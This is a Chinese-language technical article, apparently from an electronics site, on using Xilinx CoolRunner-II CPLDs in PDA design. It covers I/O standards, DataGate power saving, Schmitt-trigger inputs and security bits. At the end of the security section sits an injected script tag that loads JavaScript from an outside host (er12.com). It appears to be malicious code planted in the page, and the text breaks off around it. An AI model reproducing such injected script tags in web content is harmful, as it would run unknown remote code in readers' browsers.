采用CoolrunnerCPLD产品设计PDA须知

现今的pda设备已经发展到把原先互相分离的语音、数据和视频技术融合到一起,未来几年集成数码相机、802.11x wlan、gps和蓝牙的pda产品将逐渐成为it消费市场的一大亮点,而谁能更快地向市场推出这些产品很大程度上将决定它在这一潜力广阔市场上的竞争优势。

  当今消费电子市场的产品周期已缩短到用月份来计算,因此要求大多数新技术尽快能走向市场,产品快速上市的压力变得十分巨大。xilinx公司推出的面向消费市场的coolrunner-ii cpld可编程逻辑产品能够缓解系统设计者面对的这种压力,同时还具有许多别的优势。

  coolrunner-ii具有两个方面的优势:低功耗与高性能。系统设计者总是希望选择不需要靠牺牲更多功耗来换取速度的高性能产品。coolrunner-ii cpld在一种结构里同时实现了低功耗与高速度,既有助于延长电池寿命,也能与高速处理器一起工作。

  coolrunner-ii 系列cpld与以前的xpla cpld产品有许多不同之处,从工艺技术到降低功耗方面都有很大的改进,可以说开创了cpld应用的新时代。

  (1)增强型 i/o

  为了便于应用在多系统架构中,coolrunner-ii cpld 集成了多重i/o接口标准,包括常规3.3v ttl接口、cmos i/o结构以及lvcmos 25、18 和 15。人们期望使用这些i/o标准,因为这是转向低电平的过渡途径。

  coolrunner-ii cpld 还支持高速存储器接口中常见的sstl 和 hstl i/o标准,从而能够处理一般低功耗处理器不能处理的大多数接口。对于基于微处理器的便携式设备而言,这使coolrunner-ii cpld成为一种很好的系统集成解决方案。

  (2)更低功耗

  考虑到设计工程师们希望采用比xpla功耗更低的器件,coolrunner-ii专门在原有架构上增加了新的特性来达到这个目的。xpla的fzp技术和低的作电压已经降低了功耗,但在对功率要求严格的应用中,采用新技术进一步降低设计的整体功耗是非常重要的。与xpla架构相比,coolrunner-ii cpld有两个新的特性。

  其中之一称之为“数据门电路”(datagate)技术,其思路是输入端口没有在使用时,通过减少对它们不必要的管理和控制工作,就有可能降低功耗。最主要的例子就是总线接口,它仅在数据输入到cpld时,输入端口才处于激活状态。datagate去掉了输入端口上不必要的高低电平转换。这些转换通过两种途径消耗功率:首先就是线性操作。当一个逻辑器件转换状态时会进入一段线性工作区,这时比空闲状态更加耗电,虽然绝对数值不大,但当总线规模扩大时,输入端多余的状态转换耗电也随之增大。对于时钟信号情况也一样,即使cpld不工作了,i/o口上仍保持一定电平。使用datagate技术会带来少许时钟延迟,但在大多数情况下该延迟可以忽略不计。使用datagate技术的时钟在大大降低功耗的同时还可能影响竞争形式,因此在使用时有必要予以更多关注。

  (3)易于使用的特性

  coolrunner-ii cpld还拥有xpla cpld架构不具备的其它一些特性。

  在与产品设计工程师们交谈的过程中会发现,模拟器件有时候是接口设计的一个窍门。有些类型的施密特触发输入(也就是输入滞后)十分有用。因此,coolrunner-ii cpld也支持施密特触发输入模式。它通过快速转换慢转换信号来减少功耗,并在慢上升模拟信号处于输入电压线性区域时推迟状态转换时间。施密特触发输入还可以用于消除尖峰噪声造成的状态转换误动作。不过,使用该输入方式同时可能形成简单振荡回路,因而需要考虑可靠性问题,不过,由于电路设计简单,还是能够节省元器件。

  (4)安全性设计

  在电子设备设计中,知识产权的流失一直是人们关注的问题。有多种途径能够得到设计原代码。当代码执行或导入设备时可以通过监视来了解设计者的主要设计思想。如果有利可图,有人就会利用“逆向工程”方法打开设备芯片,直接对某些芯片进行读写而破译其安全位(bit)。一旦安比特位失效,设计原代码就很容易被读取、查看和复制。

  coolrunner-ii cpld加强了针对代码偷窃行为的安全性设计,安全位在裸片上的位置较分散,并影响到编程和寻址等等不同模式的操作。?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计